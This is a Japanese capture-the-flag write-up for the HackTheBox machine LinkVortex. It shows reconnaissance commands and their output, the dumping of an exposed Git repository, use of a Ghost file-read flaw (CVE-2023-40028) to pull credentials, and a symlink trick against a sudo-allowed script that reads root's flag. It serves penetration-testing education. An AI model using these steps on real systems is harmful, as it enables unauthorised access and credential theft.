はじめに
本記事はHackTheBoxのWriteupです。
Machineは、LinkVortexです。
LinkVortexでは、認証情報の列挙やGhostの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 21:53 JST
Nmap scan report for dev.linkvortex.htb (10.10.11.47)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
| http-git:
| 10.10.11.47:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/TryGhost/Ghost.git
|_http-title: Launching Soon
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後linkvortex.htbにアクセスすると、以下の様な画面が表示されます。
サブドメイン
ffuwを用いてサブドメインの列挙を行います。
レスポンス結果を踏まえて、レスポンスサイズの値は全て230になっているため、-fs
オプションを使用して除外します。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host:FUZZ.linkvortex.htb" -c -fs 230
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 230
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 255ms]
:: Progress: [4989/4989] :: Job [1/1] :: 196 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
devのサブドメインを検出したのでアクセスすると、別のページが確認できました。
Launching Soonと表示されて、Webサイトは現在構築中であることが分かります。
コンテンツ探索
Webサイトを調査するため、gobuster
を用いてコンテンツ探索を行います。
$ gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/dirb/common.txt -b 301
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 301
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/ (Status: 404) [Size: 7361]
/favicon.ico (Status: 200) [Size: 15406]
/LICENSE (Status: 200) [Size: 1065]
/robots.txt (Status: 200) [Size: 121]
/server-status (Status: 403) [Size: 199]
/sitemap.xml (Status: 200) [Size: 527]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
gobusterの結果よりrobots.txt
ファイルにアクセスすると、以下の内容が確認できます。
sitemap.xml
ファイルについては、特に目ぼしい情報は見当たりません。
/ghost
にアクセスすると認証画面が確認できました。
引き続き/ghost
にログインするための認証情報を探索します。
$ gobuster dir -u http://dev.linkvortex.htb -w /usr/share/wordlists/dirb/common.txt -b 404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.linkvortex.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD (Status: 200) [Size: 41]
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
/cgi-bin/ (Status: 403) [Size: 199]
/index.html (Status: 200) [Size: 2538]
/server-status (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記結果よりソースコードと思われる.git
ディレクトリについて確認できました。
WebサイトからGitリポジトリをダンプするためには、git-dumper
を使用します。
$ python git_dumper.py http://dev.linkvortex.htb/.git/ ~/Download/git
git-dumper
を実行後、ghost/core/test/regression/api/admin/authentication.test.js
ファイルから認証情報を発見しました。
const password = 'REDACTED';
取得した認証情報を用いて再度ログインします。
Dashboard画面が表示されました。
脆弱性分析
足場を作るために利用可能な脆弱性を探します。
上記Dashboard画面について足場となる入り口は見つけられませんでしたが、.git/config
の内容よりGhostのバージョンはv5.58.0と推測します。
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/TryGhost/Ghost.git
fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Ghostのバージョン情報を基に脆弱性を調査した結果、CVE-2023-40028の脆弱性を利用できる可能性があります。
CVE-2023-40028は、Ghostのバージョンが5.59.1より前のバージョンの場合、認証されたユーザーがシンボリックリンクのファイルをアップロードできる脆弱性があります。この脆弱性を悪用することで、任意のファイルを読み取ることができます。
CVE-2023-40028に関するエクスプロイトを実行後/var/lib/ghost/config.production.json
ファイルを参照すると、認証情報が取得できます。
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "REDACTED"
}
}
}
}
システムハッキング
取得した認証情報を用いてアクセスします。
ユーザーフラグ
ログイン後、ユーザーフラグが確認できます。
total 28
drwxr-x--- 3 bob bob 4096 Jan 1 13:24 ./
drwxr-xr-x 3 root root 4096 Nov 30 10:07 ../
lrwxrwxrwx 1 root root 9 Apr 1 2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 bob bob 3771 Jan 6 2022 .bashrc
drwx------ 2 bob bob 4096 Nov 1 08:40 .cache/
-rw-r--r-- 1 bob bob 807 Jan 6 2022 .profile
-rw-r----- 1 root bob 33 Jan 1 13:22 user.txt
ルートフラグ
ルートフラグを取得するためには、権限のエスカレーションが必要なため、引き続き脆弱な箇所を調査します。
sudo -l
コマンドの実行結果を踏まえて、clean_symlink.sh
を設定していることが分かります。
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
- /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
上記シェルの内容より、シンボリックリンクのファイルを悪用することで、ファイルの内容を読み取ります。
$ ln -s /root/root.txt hack.txt
lrwxrwxrwx 1 bob bob 14 Jan 1 13:55 hack.txt -> /root/root.txt
$ ln -s /home/bob/hack.txt hack.png
lrwxrwxrwx 1 bob bob 18 Jan 1 13:56 hack.png -> /home/bob/hack.txt
$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/hack.png
Link found [ /home/bob/hack.png ] , moving it to quarantine
Content:
REDACTED
おわりに
Machineの名前がヒントになっていました。